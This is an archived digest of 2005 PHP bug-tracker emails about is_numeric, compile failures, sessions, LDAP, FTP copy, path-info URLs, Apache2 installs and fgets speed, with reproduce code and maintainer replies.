Expected behavior:   http://bugs.php.net/fix.php?id=32928r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32928r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32928r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32928r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32928r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32928r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32928r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32928r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32928r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32928r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32928r=mysqlcfg


#32943 [Opn-Bgs]: is_numeric validates 3e0

2005-05-04 Thread sesser
 ID:   32943
 Updated by:   [EMAIL PROTECTED]
 Reported By:  pmorgan at ukds dot net
-Status:   Open
+Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

3e0 is a number in e-notation, which is of course a numerical string



Previous Comments:


[2005-05-04 12:29:00] pmorgan at ukds dot net

typo



[2005-05-04 12:28:04] pmorgan at ukds dot net

Description:

With some server side validation I inadvertenly entered 3e0 into the
textbox, it validated to my suprise. Would have expected this to throw
a false

Reproduce code:
---
echo is_numeric('3e00')? 'true': 'false';

Expected result:

false;
In fact anything without 0-9 and a . I would expect a false !






-- 
Edit this bug report at http://bugs.php.net/?id=32943edit=1


#30641 [Asn-Csd]: Compile error: error: symbol zend_error is used but not defined

2005-05-04 Thread dmitry
 ID:   30641
 Updated by:   [EMAIL PROTECTED]
 Reported By:  hakan at lisas dot de
-Status:   Assigned
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5CVS-2005-03-25
 Assigned To:  andi
 New Comment:

Fixed in CVS HEAD.


Previous Comments:


[2005-05-01 12:32:58] [EMAIL PROTECTED]

my simple patch: http://news.php.net/php.internals/15768



[2005-04-05 09:26:03] [EMAIL PROTECTED]

See also bug #32580




[2005-03-25 01:19:51] [EMAIL PROTECTED]

Andi, this was verified still to happen in HEAD.




[2005-01-23 13:57:03] [EMAIL PROTECTED]

The problem is that the code isn't staandard.
An alias must defined in the same file as the aliased function file.

So, in theory, moving that declaration to zend.c (where zend_error() is
declared) whould solve the problems.



[2005-01-20 19:02:25] maande10 at vt dot edu

Found this problem when compiling the php5-200501192330 snapshot on
Solaris 8.  gcc 3.4.2.  Switching to the alternate definition of
zend_error_noreturn() in Zend/zend_execute.c fixed the compile problem.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/30641

-- 
Edit this bug report at http://bugs.php.net/?id=30641edit=1


#32580 [Bgs-Csd]: CVS PHP 5.1.x Compile error on Solaris 9

2005-05-04 Thread dmitry
 ID:   32580
 Updated by:   [EMAIL PROTECTED]
 Reported By:  Oscar dot Castillo at jpl dot nasa dot gov
-Status:   Bogus
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: solaris 9
 PHP Version:  5CVS-2005-04-05 (dev)
 New Comment:

Fixed in CVS HEAD.


Previous Comments:


[2005-04-05 09:25:24] [EMAIL PROTECTED]

Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same. 

Thank you for your interest in PHP.

See bug #30641




[2005-04-05 03:34:43] Oscar dot Castillo at jpl dot nasa dot gov

Description:

I downloaded the latest CVS php5-200504041830 (as suggested in bug
#32491) and have failed to compile correctly. The configure options I
use are as follows:
./configure --prefix=/usr/local/php
--with-nsapi=/usr/ns-home/operational_server

This is the compile error I receive:

/bin/sh /usr/local/src/php_src/php5-200504041830/libtool --silent
--preserve-dup-deps --mode=compile
/usr/local/src/php_src/php5-200504041830/meta_ccld  -IZend/
-I/usr/local/src/php_src/php5-200504041830/Zend/ -DPHP_ATOM_INC
-I/usr/local/src/php_src/php5-200504041830/include
-I/usr/local/src/php_src/php5-200504041830/main
-I/usr/local/src/php_src/php5-200504041830
-I/usr/ns-home/operational_server/plugins/include
-I/usr/local/include/libxml2 -I/usr/local/include
-I/usr/local/src/php_src/php5-200504041830/TSRM
-I/usr/local/src/php_src/php5-200504041830/Zend 
-D_POSIX_PTHREAD_SEMANTICS -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT  -g
-O2 -pthreads -DZTS   -c
/usr/local/src/php_src/php5-200504041830/Zend/zend_execute.c -o
Zend/zend_execute.lo -O0
/usr/ccs/bin/as: /tmp/ccA7i1xh.s: error: symbol zend_error is used
but not defined
/usr/ccs/bin/as: /tmp/ccA7i1xh.s: internal error:
evaluate_symbol_expression(): op 20?
make: *** [Zend/zend_execute.lo] Error 1

Thanks in advance for your help.

Reproduce code:
---
./configure --prefix=/usr/local/php
--with-nsapi=/usr/ns-home/operational_server

Expected result:

Successfull compilation of the latest CVS version of PHP 5

Actual result:
--
/bin/sh /usr/local/src/php_src/php5-200504041830/libtool --silent
--preserve-dup-deps --mode=compile
/usr/local/src/php_src/php5-200504041830/meta_ccld  -IZend/
-I/usr/local/src/php_src/php5-200504041830/Zend/ -DPHP_ATOM_INC
-I/usr/local/src/php_src/php5-200504041830/include
-I/usr/local/src/php_src/php5-200504041830/main
-I/usr/local/src/php_src/php5-200504041830
-I/usr/ns-home/operational_server/plugins/include
-I/usr/local/include/libxml2 -I/usr/local/include
-I/usr/local/src/php_src/php5-200504041830/TSRM
-I/usr/local/src/php_src/php5-200504041830/Zend 
-D_POSIX_PTHREAD_SEMANTICS -D_POSIX_PTHREAD_SEMANTICS -D_REENTRANT  -g
-O2 -pthreads -DZTS   -c
/usr/local/src/php_src/php5-200504041830/Zend/zend_execute.c -o
Zend/zend_execute.lo -O0
/usr/ccs/bin/as: /tmp/ccA7i1xh.s: error: symbol zend_error is used
but not defined
/usr/ccs/bin/as: /tmp/ccA7i1xh.s: internal error:
evaluate_symbol_expression(): op 20?
make: *** [Zend/zend_execute.lo] Error 1






-- 
Edit this bug report at http://bugs.php.net/?id=32580edit=1


#32943 [Bgs]: is_numeric validates 3e0

2005-05-04 Thread pmorgan at ukds dot net
 ID:   32943
 User updated by:  pmorgan at ukds dot net
 Reported By:  pmorgan at ukds dot net
 Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

That needs to go into the manual number in e-notation, which I
understand, or even better as an additional flag allow_e-notation. 

It's the last error I would have expected and is very misleading AFAIK.


Previous Comments:


[2005-05-04 14:30:10] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

3e0 is a number in e-notation, which is of course a numerical string




[2005-05-04 12:29:00] pmorgan at ukds dot net

typo



[2005-05-04 12:28:04] pmorgan at ukds dot net

Description:

With some server side validation I inadvertenly entered 3e0 into the
textbox, it validated to my suprise. Would have expected this to throw
a false

Reproduce code:
---
echo is_numeric('3e00')? 'true': 'false';

Expected result:

false;
In fact anything without 0-9 and a . I would expect a false !






-- 
Edit this bug report at http://bugs.php.net/?id=32943edit=1


#32943 [Bgs]: is_numeric validates 3e0

2005-05-04 Thread pmorgan at ukds dot net
 ID:   32943
 User updated by:  pmorgan at ukds dot net
 Reported By:  pmorgan at ukds dot net
 Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

That needs to go into the manual number in e-notation, which I
understand, or even better as an additional flag allow_e-notation. 

It's the last error I would have expected and is very misleading AFAIK.


Previous Comments:


[2005-05-04 14:40:45] pmorgan at ukds dot net

That needs to go into the manual number in e-notation, which I
understand, or even better as an additional flag allow_e-notation. 

It's the last error I would have expected and is very misleading AFAIK.



[2005-05-04 14:30:10] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

3e0 is a number in e-notation, which is of course a numerical string




[2005-05-04 12:29:00] pmorgan at ukds dot net

typo



[2005-05-04 12:28:04] pmorgan at ukds dot net

Description:

With some server side validation I inadvertenly entered 3e0 into the
textbox, it validated to my suprise. Would have expected this to throw
a false

Reproduce code:
---
echo is_numeric('3e00')? 'true': 'false';

Expected result:

false;
In fact anything without 0-9 and a . I would expect a false !






-- 
Edit this bug report at http://bugs.php.net/?id=32943edit=1


#32944 [NEW]: Disabling session.use_cookies doesn't prevent reading session cookies

2005-05-04 Thread dziugas at gmail dot com
From: dziugas at gmail dot com
Operating system: Linux Redhat
PHP version:  4.3.10
PHP Bug Type: Session related
Bug description:  Disabling session.use_cookies doesn't prevent reading session 
cookies

Description:

If configuration directive session.use_cookies is set to 0 (or Off),
cookies aren't sent to the browser anymore, but however if browser sends a
previously received cookie within a request, PHP tries to use it for
session id.

This is the problem in WAP deployments where number of mobile phone
browsers sends a Cookie in the form of:

Cookie: PHPSESSID=xxx, PHPSESSID=xxx (as denoted in
http://bugs.php.net/bug.php?id=32111)

This makes PHP to produce a warning:

PHP Warning:  Unknown(): The session id contains invalid characters, valid
characters are only a-z, A-Z and 0-9 in Unknown on line 0

Reproduce code:
---
session_set_cookie_params(3600);
session_start();
var_dump(session_id());

Add

ini_set('session.use_cookies', true);

in the first request and 

ini_set('session.use_cookies', false);

in the secodn.

Expected result:

After the second request, session ID (as returned by session_id()) should
not be same as after the first request.

Actual result:
--
The value returned by session_id() is the same within the first and second
requests.

I think that session.use_cookies is disabled, there should be no checking
if the browser sends the cookie having the same name as session_name().


-- 
Edit bug report at http://bugs.php.net/?id=32944edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32944r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32944r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32944r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32944r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32944r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32944r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32944r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32944r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32944r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32944r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32944r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32944r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32944r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32944r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32944r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32944r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32944r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32944r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32944r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32944r=mysqlcfg


#31592 [NoF-Opn]: ifx_getsqlca fails when DB-error occurs

2005-05-04 Thread andreybl at matrix dot co dot il
 ID:   31592
 User updated by:  andreybl at matrix dot co dot il
 Reported By:  andreybl at matrix dot co dot il
-Status:   No Feedback
+Status:   Open
 Bug Type: Informix related
 Operating System: RedHat 3.0 ES
-PHP Version:  4.3.8
+PHP Version:  4.3.11
 New Comment:

Tried on version 4.3.11.
No change. I.e. it is impossible to use ifx_getsqlca in case when some
SQL error occurred.


Previous Comments:


[2005-02-21 19:58:24] [EMAIL PROTECTED]

No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to Open. Thank you.





[2005-02-03 05:18:41] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php4-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php4-win32-STABLE-latest.zip





[2005-01-18 09:26:17] andreybl at matrix dot co dot il

Description:

In case when ifx_query() fails it returns FALSE as result id.
When ifx_getsqlca gets false as result id, it complains:
bWarning/b:  ifx_getsqlca(): supplied resource is not a valid
Informix Result resource in b

This is actually a BUG, since when the sql-query fails, it is stll
neccessary sometimes, to get the sqlca structure. E.g. to get the ISAM
error.

Reproduce code:
---
sleep(20);
$db-begin_transaction();
$sql = update tb set recordingdate = '2005-01-12 11:33:57.597'
where id = 138;

if (!($resid = ifx_query($sql, $db-connid)))
{
echo Failed to open:\n$sql\n.ifx_error().\n;
$db-rollback_transaction();
$sqlca = ifx_getsqlca($resind);
var_dump($sqlca);
die();
}
else 
{
echo Open successfull\n;
ifx_free_result($resid);
$db-commit_transaction();
}

Expected result:

ifx_getsqlca should get me the sqlca structure and not an error.

Actual result:
--
ifx_getsqlca fails, the following message appears:
bWarning/b:  ifx_getsqlca(): supplied argument is not a valid
Informix Result resource in b





-- 
Edit this bug report at http://bugs.php.net/?id=31592edit=1


#32932 [Fbk-Opn]: Oracle LDAP: ldap_get_entries invalid pointer

2005-05-04 Thread frameloss at gmail dot com
 ID:   32932
 User updated by:  frameloss at gmail dot com
 Reported By:  frameloss at gmail dot com
-Status:   Feedback
+Status:   Open
 Bug Type: LDAP related
 Operating System: Fedora Core 3
 PHP Version:  5.0.4
 New Comment:

Backtrace, using CLI php . . .

(gdb) set args /usr/local/apache/htdocs/reporting/test/ldap.php
(gdb) run
Starting program: /root/SOURCE/Web/PHP/php-5.0.4/sapi/cli/php
/usr/local/apache/htdocs/reporting/test/ldap.php
[Thread debugging using libthread_db enabled]
[New Thread -1208379712 (LWP 3230)]
ldap_connect function availablebrpre/preh3LDAP query
test/h3... Connecting ... resource(4) of type (ldap link)
connect result is pre Resource id #4/prebr /Binding ...Bind
result is 1br /Searching for username ...Search result is Resource id
#5br /Number of entires returned is 1br /Getting entries ...p***
glibc detected *** free(): invalid pointer: 0xb7cf4e40 ***

Program received signal SIGABRT, Aborted.
[Switching to Thread -1208379712 (LWP 3230)]
0x001e07a2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2
(gdb) bt
#0  0x001e07a2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2
#1  0x009b5955 in raise () from /lib/tls/libc.so.6
#2  0x009b7319 in abort () from /lib/tls/libc.so.6
#3  0x009e8f9a in __libc_message () from /lib/tls/libc.so.6
#4  0x009ef528 in _int_free () from /lib/tls/libc.so.6
#5  0x009efafa in free () from /lib/tls/libc.so.6
#6  0x080e25b8 in zif_ldap_get_entries (ht=2, return_value=0x8633e94,
this_ptr=0x0, return_value_used=1)
at /root/SOURCE/Web/PHP/php-5.0.4/ext/ldap/ldap.c:998
#7  0x0825b999 in zend_do_fcall_common_helper (execute_data=0xbfe04fe0,
opline=0x86393ac, op_array=0x8631d54)
at /root/SOURCE/Web/PHP/php-5.0.4/Zend/zend_execute.c:2727
#8  0x0825c188 in zend_do_fcall_handler (execute_data=0xbfe04fe0,
opline=0x86393ac, op_array=0x8631d54)
at /root/SOURCE/Web/PHP/php-5.0.4/Zend/zend_execute.c:2859
#9  0x08256b56 in execute (op_array=0x8631d54) at
/root/SOURCE/Web/PHP/php-5.0.4/Zend/zend_execute.c:1406
#10 0x08232d8d in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /root/SOURCE/Web/PHP/php-5.0.4/Zend/zend.c:1069
#11 0x081f4417 in php_execute_script (primary_file=0xbfe073f0) at
/root/SOURCE/Web/PHP/php-5.0.4/main/main.c:1632
#12 0x08261a6b in main (argc=2, argv=0xbfe074b4) at
/root/SOURCE/Web/PHP/php-5.0.4/sapi/cli/php_cli.c:946
(gdb)


Previous Comments:


[2005-05-03 23:16:22] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.





[2005-05-03 22:43:25] frameloss at gmail dot com

Description:

The following errors occur when using the ldap_get_entries call on PHP
5.0.4, Apache 2.0.53 , Fedora Core 3 2.6.9-1.724_FC3smp

*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***
*** glibc detected *** double free or corruption (out): 0x08917930 ***
*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***
[Tue May  3 14:13:27 2005] [notice] child pid 13543 exit signal Aborted
(6)
[Tue May  3 14:13:27 2005] [notice] child pid 13544 exit signal Aborted
(6)
[Tue May  3 14:13:27 2005] [notice] child pid 13545 exit signal Aborted
(6)
*** glibc detected *** free(): invalid pointer: 0xb7cede40 ***

However, ldap_get_values and ldap_first_entry etc seem to work fine.

Configure line:

'./configure' '--with-ldap=/usr/local/oracle/product/10.1.0.3.0/'
'--enable-versioning' '--enable-memo' '--enable-ctype' '--with-curl'
'--enable-ftp' '--with-gd' '--enable-gd-native-ttf' '--with-freetype'
'--with-t1lib' '--with-jpeg' '--with-jpeg-dir=/usr/local' '--with-png'
'--with-xpm' '--with-gmp' '--with-mcrypt' '--with-mhash'
'--with-mysql=/usr/local' '--with-openssl'
'--with-oci8=/usr/local/oracle/product/10.1.0.3.0' '--enable-overload'
'--with-pcre-regex' '--enable-posix' '--enable-session'
'--enable-tokenizer' '--with-expat' '--enable-xml' '--with-zlib'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-xpm-dir=/usr/X11R6/'
'--with-freetype-dir=/usr' '--with-t1lib-dir=/usr'
'--with-sybase-ct=/usr/local/FreeTDS/'

Reproduce code:
---
Using example code provided from user manual.






-- 
Edit this bug report at http://bugs.php.net/?id=32932edit=1


#32945 [NEW]: copy size 0 file with ftp wrapper

2005-05-04 Thread jxmaster at msn dot com
From: jxmaster at msn dot com
Operating system: freebsd4.3,windowsxp,linux9.0
PHP version:  4.3.11
PHP Bug Type: Filesystem function related
Bug description:  copy size 0 file with ftp wrapper

Description:

copy('ftp://username:[EMAIL PROTECTED]/path/filename', 'tmp.dat');
If the file in the ftp server has size 0, the copy statment returned
false. However, the file tmp.dat was created with size 0.
copy ('localfile', 'tmp.dat') worked well.

Reproduce code:
---
copy('ftp://username:[EMAIL PROTECTED]/path/filename', 'tmp.dat');

Expected result:

The file tmp.dat is created in the current directory with file zero and
gets a TRUE return.

Actual result:
--
The file tmp.dat is created in the current directory with file zero, but
gets a FALSE return.

-- 
Edit bug report at http://bugs.php.net/?id=32945edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32945r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32945r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32945r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32945r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32945r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32945r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32945r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32945r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32945r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32945r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32945r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32945r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32945r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32945r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32945r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32945r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32945r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32945r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32945r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32945r=mysqlcfg


#32934 [Opn-Bgs]: Files with the PHP Extension execute with / instead of . running the Script

2005-05-04 Thread tony2001
 ID:   32934
 Updated by:   [EMAIL PROTECTED]
 Reported By:  bernardino_lopez at yahoo dot com
-Status:   Open
+Status:   Bogus
 Bug Type: *General Issues
 Operating System: Linux
 PHP Version:  4.3.11
 New Comment:

Not a PHP problem.
Configure your webserver properly.


Previous Comments:


[2005-05-03 23:18:30] bernardino_lopez at yahoo dot com

Description:

Open Any PHP Page and replace the . of the File Extension by /

Example:

http://www.abc.com/phpinfo.php

Replace the URL Address for:

http://www.abc.com/phpinfo/php

The script is going to execute.

Reproduce code:
---
No code just replace your URL from the extension .php for /php 


Expected result:

Same page execution of the Original page.

Not sure if possible to parse extra parameters to any exposed script to
execute

Actual result:
--
Page execute regardles of the 

phpinfo.php
phpinfo/php

At this point looking for a major impact because in case of be able to
pass arbitrary commands to the script to execute will create major
security issue.

Best Regards Dinooz.






-- 
Edit this bug report at http://bugs.php.net/?id=32934edit=1


#32940 [Opn-Bgs]: PHP 5.0.4

2005-05-04 Thread tony2001
 ID:   32940
 Updated by:   [EMAIL PROTECTED]
 Reported By:  thebomani at homail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: *General Issues
 Operating System: RedHAt Fedora 3
 PHP Version:  5.0.4
 New Comment:

Turn on register_globals and do RTFM.


Previous Comments:


[2005-05-04 05:50:27] thebomani at homail dot com

Description:

I have had more problems with PHP 5.0.4 that I can list. These problems
include php not passing varialbles to php files when the url has a ?
mark after the .php file. Please put version 5.0.3 back in the download
list.






-- 
Edit this bug report at http://bugs.php.net/?id=32940edit=1


#32924 [Opn-Csd]: prepend does not add file to included files

2005-05-04 Thread stas
 ID:  32924
 Updated by:  [EMAIL PROTECTED]
 Reported By: stas at zend dot com
-Status:  Open
+Status:  Closed
 Bug Type:*General Issues
 PHP Version: 5.0.4
 Assigned To: stas
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2005-05-03 11:35:17] stas at zend dot com

Description:

At least starting from 4.3.x, when file is included via include(), it
is added to the list of included files, so that the code:
? include('foo'); include_once('foo'); ?
woould include 'foo' only once.

However, if you put foo in auto_prepend_file and then do ?
include_once('foo'); ? - 'foo' would be included twice.

I see this behaviour as inconsistent and needing to be fixed, though
there can be some BC issues with that. 

Reproduce code:
---
1. 
? include('foo'); include_once('foo'); ?
foo:
? echo Whatever...; ?

2.
auto_prepend_file=foo
? include_once('foo'); ?

Expected result:

Whatever... once in both cases

Actual result:
--
Whatever...  once in the first case, twice in the second.





-- 
Edit this bug report at http://bugs.php.net/?id=32924edit=1


#32924 [Csd]: prepend does not add file to included files

2005-05-04 Thread stas
 ID:  32924
 Updated by:  [EMAIL PROTECTED]
 Reported By: stas at zend dot com
 Status:  Closed
 Bug Type:*General Issues
 PHP Version: 5.0.4
 Assigned To: stas
 New Comment:

Fixed for 5HEAD.


Previous Comments:


[2005-05-04 18:17:45] [EMAIL PROTECTED]

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.





[2005-05-03 11:35:17] stas at zend dot com

Description:

At least starting from 4.3.x, when file is included via include(), it
is added to the list of included files, so that the code:
? include('foo'); include_once('foo'); ?
woould include 'foo' only once.

However, if you put foo in auto_prepend_file and then do ?
include_once('foo'); ? - 'foo' would be included twice.

I see this behaviour as inconsistent and needing to be fixed, though
there can be some BC issues with that. 

Reproduce code:
---
1. 
? include('foo'); include_once('foo'); ?
foo:
? echo Whatever...; ?

2.
auto_prepend_file=foo
? include_once('foo'); ?

Expected result:

Whatever... once in both cases

Actual result:
--
Whatever...  once in the first case, twice in the second.





-- 
Edit this bug report at http://bugs.php.net/?id=32924edit=1


#32946 [NEW]: 'make install' doesn't work with apache 2.0.54

2005-05-04 Thread [EMAIL PROTECTED]
From: [EMAIL PROTECTED]
Operating system: linux
PHP version:  5CVS-2005-05-04 (dev)
PHP Bug Type: Apache2 related
Bug description:  'make install' doesn't work with apache 2.0.54

Description:

'make install' isn't working with Apache 2.0.54.

Reproduce code:
---
php configure: --disable-cgi --enable-pcntl --with-ftp --with-tidy
--with-apxs2=/usr/local/apache2/bin/apxs

Apache conf: --enable-rewrite --enable-so

Actual result:
--
Installing PHP SAPI module:   apache2handler
/usr/local/apache2/build/instdso.sh
SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp5.la
/usr/local/apache2/modules
echo
chmod 755 /usr/local/apache2/modules/libphp5.so
chmod: cannot access `/usr/local/apache2/modules/libphp5.so': No such file
or directory
apxs:Error: Command failed with rc=65536
.
make: *** [install-sapi] Error 1

-- 
Edit bug report at http://bugs.php.net/?id=32946edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=32946r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=32946r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=32946r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=32946r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=32946r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=32946r=needtrace
Need Reproduce Script:   http://bugs.php.net/fix.php?id=32946r=needscript
Try newer version:   http://bugs.php.net/fix.php?id=32946r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=32946r=support
Expected behavior:   http://bugs.php.net/fix.php?id=32946r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=32946r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=32946r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=32946r=globals
PHP 3 support discontinued:  http://bugs.php.net/fix.php?id=32946r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=32946r=dst
IIS Stability:   http://bugs.php.net/fix.php?id=32946r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=32946r=gnused
Floating point limitations:  http://bugs.php.net/fix.php?id=32946r=float
No Zend Extensions:  http://bugs.php.net/fix.php?id=32946r=nozend
MySQL Configuration Error:   http://bugs.php.net/fix.php?id=32946r=mysqlcfg


#32934 [Bgs]: Files with the PHP Extension execute with / instead of . running the Script

2005-05-04 Thread bernardino_lopez at yahoo dot com
 ID:   32934
 User updated by:  bernardino_lopez at yahoo dot com
 Reported By:  bernardino_lopez at yahoo dot com
 Status:   Bogus
 Bug Type: *General Issues
 Operating System: Linux
 PHP Version:  4.3.11
 New Comment:

Do you realize that all the PHP Webserver's in the World need to be
configure properly then ???

I'm just surprised it executed, at this time noticed the performance of
the server have some degradation in speed, I wonder if multiple
mal-formed request can slow down the server in general. but I really
don't think is WebServer configuration is execution of any PHP Script.

Will dig more about it and find out if Windows based servers  reply the
same way.

Something that I noticed the execution does not affect when run the php
from the CLI.

Best Regards Dino.


Previous Comments:


[2005-05-04 18:34:13] [EMAIL PROTECTED]

Not a PHP problem.
Configure your webserver properly.



[2005-05-03 23:18:30] bernardino_lopez at yahoo dot com

Description:

Open Any PHP Page and replace the . of the File Extension by /

Example:

http://www.abc.com/phpinfo.php

Replace the URL Address for:

http://www.abc.com/phpinfo/php

The script is going to execute.

Reproduce code:
---
No code just replace your URL from the extension .php for /php 


Expected result:

Same page execution of the Original page.

Not sure if possible to parse extra parameters to any exposed script to
execute

Actual result:
--
Page execute regardles of the 

phpinfo.php
phpinfo/php

At this point looking for a major impact because in case of be able to
pass arbitrary commands to the script to execute will create major
security issue.

Best Regards Dinooz.






-- 
Edit this bug report at http://bugs.php.net/?id=32934edit=1


#32946 [Opn-Fbk]: 'make install' doesn't work with apache 2.0.54

2005-05-04 Thread rasmus
 ID:   32946
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
-Status:   Open
+Status:   Feedback
 Bug Type: Apache2 related
 Operating System: linux
 PHP Version:  5CVS-2005-05-04 (dev)
 New Comment:

what does: /usr/local/apache2/bin/apxs -q LIBEXECDIR
output?

I would assume it gives /usr/local/apache2/modules

If so, does this directory exist?


Previous Comments:


[2005-05-04 18:06:18] [EMAIL PROTECTED]

Description:

'make install' isn't working with Apache 2.0.54.

Reproduce code:
---
php configure: --disable-cgi --enable-pcntl --with-ftp --with-tidy
--with-apxs2=/usr/local/apache2/bin/apxs

Apache conf: --enable-rewrite --enable-so

Actual result:
--
Installing PHP SAPI module:   apache2handler
/usr/local/apache2/build/instdso.sh
SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp5.la
/usr/local/apache2/modules
echo
chmod 755 /usr/local/apache2/modules/libphp5.so
chmod: cannot access `/usr/local/apache2/modules/libphp5.so': No such
file or directory
apxs:Error: Command failed with rc=65536
.
make: *** [install-sapi] Error 1





-- 
Edit this bug report at http://bugs.php.net/?id=32946edit=1


#32806 [Fbk-Opn]: fgets() function is slow

2005-05-04 Thread peoned at yahoo dot com
 ID:   32806
 User updated by:  peoned at yahoo dot com
 Reported By:  peoned at yahoo dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Performance problem
 Operating System: Linux
 PHP Version:  5.0.4
 Assigned To:  wez
 New Comment:

without fwrite() it is significantly faster, gives about 5-6 seconds.
But in Perl without print OUT $_; it gives around 1-2 seconds. So it is
still slower in PHP because of fgets().


Previous Comments:


[2005-05-02 14:25:11] [EMAIL PROTECTED]

